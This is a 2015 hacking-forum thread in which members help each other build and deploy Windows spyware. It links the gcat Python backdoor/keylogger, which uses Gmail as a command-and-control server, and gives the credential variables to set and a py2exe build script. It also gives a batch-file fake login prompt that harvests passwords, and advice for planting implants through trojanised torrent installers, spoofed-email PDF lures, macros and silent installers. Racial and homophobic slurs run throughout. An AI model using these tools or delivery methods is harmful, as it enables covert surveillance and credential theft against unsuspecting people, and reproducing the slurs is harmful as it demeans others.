User Controls
Simple Keylogger With Notepad
-
2015-07-21 at 3:02 AM UTCFun fact though, it works perfectly fine without screenshot function. The client ID get's sent to your gmail, so you put your ID into your controller to send your commands LMFAO!
-
2015-07-21 at 3:38 AM UTC
It comes with your python install, go to open a command line and CD to C:\Python27\Scripts then run 'python pip2.7.exe install pillow'. I was having some trouble getting the screenshotting feauture to function in my VM though but i'm trying to work it out, i sent Lanny my logs as well to see if he can lend a hand. He's the python pro here lol :)
We'll keep in touch and i'll let you know if i am able to get to to work properly.
You open the command line how? I'm so lost dude. I'm new to python. -
2015-07-21 at 3:53 AM UTCAlso, when installing py2.exe 0.6.9 , it told me it needed like, version 2.6 or something.
Same with PyWin32 it needs 3.5 -
2015-07-21 at 4:26 AM UTC
Also, when installing py2.exe 0.6.9 , it told me it needed like, version 2.6 or something.
Same with PyWin32 it needs 3.5
Nigger i sent you everything you need in the RAR. Install python 2.7 like i sent you and use pyinstaller since it's easier. If you install Python2.7 make sure to click the option that sets python27.exe to the variable path when installing it's the bottom option. Then you need to go to open up a command prompt with CMD and go to the directory your scripts are with the CD command and then you can type 'python myscript.py' to run a script or if you have installed pyinstaller and want to compile a script you just go to the directory with CD again and type 'pyinstaller example.py --onefile'
To install pillow go to your scripts folder with the command prompt and type 'python pip2.7.exe install pillow' to get that module.
First order of business is getting the right python installed though OPEN UP THE README the readme i made for you( Which i sent you for a reason you silly nigger) and install python27 first. Folow the steps in the readme and you should be fine. -
2015-07-21 at 4:46 AM UTC
Nigger i sent you everything you need in the RAR. Install python 2.7 like i sent you and use pyinstaller since it's easier. If you install Python2.7 make sure to click the option that sets python27.exe to the variable path when installing it's the bottom option. Then you need to go to open up a command prompt with CMD and go to the directory your scripts are with the CD command and then you can type 'python myscript.py' to run a script or if you have installed pyinstaller and want to compile a script you just go to the directory with CD again and type 'pyinstaller example.py –onefile'
To install pillow go to your scripts folder with the command prompt and type 'python pip2.7.exe install pillow' to get that module.
First order of business is getting the right python installed though OPEN UP THE README the readme i made for you( Which i sent you for a reason you silly nigger) and install python27 first. Folow the steps in the readme and you should be fine.
I have the readme open but I'm still fucking confused mate. -
2015-07-21 at 4:49 AM UTCYou know what, just help me later. I'm taking a break because I'm too distracted.
-
2015-07-21 at 4:57 AM UTC
You know what, just help me later. I'm taking a break because I'm too distracted.
Sorry i couldn't be more clear about it, for me starting was a lot of trial and error as well. When you feel like it and have a specific question let's start at the start and i'll walk you through it alright? -
2015-07-21 at 5:10 AM UTC
Sorry i couldn't be more clear about it, for me starting was a lot of trial and error as well. When you feel like it and have a specific question let's start at the start and i'll walk you through it alright?
Sounds good man. I've been functioning on little sleep and feel like garbage. -
2015-07-21 at 12:27 PM UTC
…click the option that sets python27.exe to the variable path when installing…
Lanny is NOT going to happy to hear that.
-
2015-07-21 at 1:15 PM UTC
Lanny is NOT going to happy to hear that.
Well Spectral if you know another way to be able to use python from the command prompt please tell me. -
2015-07-21 at 1:53 PM UTCAlso i think you may be misunderstadning and do correct me if i'm wrong but i am guessing you think adding python27.exe to the variable path of your system makes you vulnerable to malicious python scripts. Well the thing is my malicious python script is all neatly compiled into an exe with all it's dependencies so i actually don't need to have python installed on a target system. It will function perfectly fine on it's own.
-
2015-07-21 at 2:11 PM UTC
Yes but what ya'll niggers are forgetting is that if you don't have your keylogger contact a remote host to send everything it logs your program is basically useless, no offense.
Here's something more useful.
Backdoor with keylogger for windows.
https://github.com/byt3bl33d3r/gcat/...ter/implant.py
And your controller.
https://github.com/byt3bl33d3r/gcat/blob/master/gcat.py
You'll need python of courrse and these libs: (They have to be installed)
http://sourceforge.net/projects/pywin32/
http://sourceforge.net/projects/pyhook/
You'll also need to go into your python folder and find pip.exe to install that module so you can screencap your victim's desktop.
EDIT: Forgot to mention that you need to run pyhton pip.exe install pillow to get the module installed that you need.
You're going to have to setup a gmail as command and control server and have to tell the program where to send and recieve commands from you do that by changing the following variables:
#######################################
gmail_user = 'example@gmail.com'
gmail_pwd = 'password'
server = "smtp.gmail.com"
server_port = 587
#######################################
Change variable gmail_user to equal the adress you set up. Change variable gmail_pwd to equal the password you created for that account.
You're going to have to compile implant.py with py2exe.
http://sourceforge.net/projects/py2exe/
Your controller gcat you can just run from the command line.
Lanny was kind enough to hook me up with a script to help compile implant.py. Open up your favorite text editor and enter the following code and save it as setup.py
try:
# py2exe 0.6.4 introduced a replacement modulefinder.
# This means we have to add package paths there, not to the built-in
# one. If this new modulefinder gets integrated into Python, then
# we might be able to revert this some day.
# if this doesn't work, try import modulefinder
try:
import py2exe.mf as modulefinder
except ImportError:
import modulefinder
import win32com, sys
for p in win32com.__path__[1:]:
modulefinder.AddPackagePath("win32com", p)
for extra in ["win32com.shell"]: #,"win32com.mapi"
__import__(extra)
m = sys.modules[extra]
for p in m.__path__[1:]:
modulefinder.AddPackagePath(extra, p)
except ImportError:
# no build path setup, no worries.
pass
from distutils.core import setup
import py2exe
setup(console=["implant.py"], options={"py2exe": {"packages": ["email"]}})
When that's done open up a command prompt and use the command cd to go to the directory where you have saved implant.py and setup.py and run the command: python setup.py py2exe, to compile. If you're smart you'll structure your command like this -> "python setup.py py2exe >> log.txt" then you can check what your terminal outputs in the dump log.txt to see if everything went well.
Note: You may want to use https://github.com/pyinstaller/pyinstaller instead of py2exe because py2xe had some problems importing the email modules.
Major props to lanny for helping me out with this backdoor with gmal as C&C server <3. I was kind of excited so i thought i'd share, if you have any questions i'll try to answer them, it took me a bit and i am still fiddling with program but i do believe i got everything to work i am currently testing it's functionality. Also before i foget after you compile you're going to have some directories and implant.exe, you're going to have to get all of your dependencies in a single file it's a little more involved with py2.exe but with pyinstaller it's as simple as adding –onefile to the command line when compiling. Which is why you might want to opt for pyinstaller in general.
Setting up a Gmail is about the only thing I understood....No but seriously, I understand what this program does, but how is it installed into the target computer? -
2015-07-21 at 2:28 PM UTC
The following is to be used for research purposes only, and I take no responsibility for anything done with malicious intent.
Alright, we're just going to use Notepad to make a simple .bat (Batch) file, keylogger.
Start by opening Notepad, then pasting in the following code:
@echo off
color a
title Login
cls
echo Please Enter Email Adress And Password
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start >>Program Here<<
exit
Make a folder on your desktop called "Logs". It must be logs or it will not work.
Drag that folder into C:\
Now run a test of your "Logger.bat".
Once tested, go back to the "Logs" folder in C:\ and there will be a .txt file. If a second entry is made, the .txt will overwrite itself.
Enjoy!
that's not a keylogger, it just asks for a username and password and saves it to a file
if you change the following line
echo Username="%user%" Password="%pass%" >> Log.txt
to
echo Username="%user%" Password="%pass%" >> Log.txt
it'll append to the log.txt file instead of overwriting it.
with batch files, < and > are control characters so UNLESS you actually want to use them as control characters you need to use < and > to print them to screen.
In this case we actually do want to use them as control.
when outputting to a file, a single > is write to file (overwrite if file exists), >> is append to file (add to end of exiting file, create if it doesn't exist.
EXAMPLE (you can type these directly into command prompt):
echo "niggers like watermelon"
displays "niggers like watermelon" on the screen.
echo "niggers" > output.txt
echo "like watermelon" > output.txt
will make a file that contains "like watermelon". it originally said "niggers" but the second output overwrote it.
echo "niggers" > output.txt
echo "like watermelon" >> output.txt
file should now contain
"niggers"
"like watermelon"
the first output created/overwrote the output file, the second output overwrote it
what the faggot why can't I embed images
oh. there we go -
2015-07-21 at 2:29 PM UTC
Setting up a Gmail is about the only thing I understood….No but seriously, I understand what this program does, but how is it installed into the target computer?
Bind the exe to a legitimate installer for a popular program and distribute through torrents.Or bind the exe to a PDF file and do a social engineering attack where you spoof an email from a company like microsoft(You're targetting windows anyway) saying they have changed their terms of service and if you would be so kind as to read the new terms in the PDF provided.
Scrap that i was thinking different kind of exploit. -
2015-07-21 at 2:32 PM UTCNow we know why Psycho wanted to get PDFs enabled on RDFRN so bad.
-
2015-07-21 at 2:39 PM UTCyou can't bind an exe to pdf and expect it to run unless it's leveraging an existing exploit in the reader application
you can inject javascript because the pdf format is a faggot farm though -
2015-07-21 at 2:43 PM UTCThe early versions of InstallShield are great for running scripts of all kinds in both Windows and MS-Dos modes, because you can set up the compiled scripts within the executable to run silently in the background, and because it is a legitimate program, it won't be flagged by most scanners.
-
2015-07-21 at 2:49 PM UTC
you can't bind an exe to pdf and expect it to run unless it's leveraging an existing exploit in the reader application
you can inject javascript because the pdf format is a faggot farm though
Yes you're totally right, i was thinking metasploit meterpreter embedded in PDF but of course that's not an exe at all. Sorry. -
2015-07-21 at 2:49 PM UTC
Now we know why Psycho wanted to get PDFs enabled on RDFRN so bad.
That was Oplus. -
2015-07-21 at 2:55 PM UTC
you can't bind an exe to pdf and expect it to run unless it's leveraging an existing exploit in the reader application
But you can use shellcode and VBA macros.
you can inject javascript because the pdf format is a faggot farm though
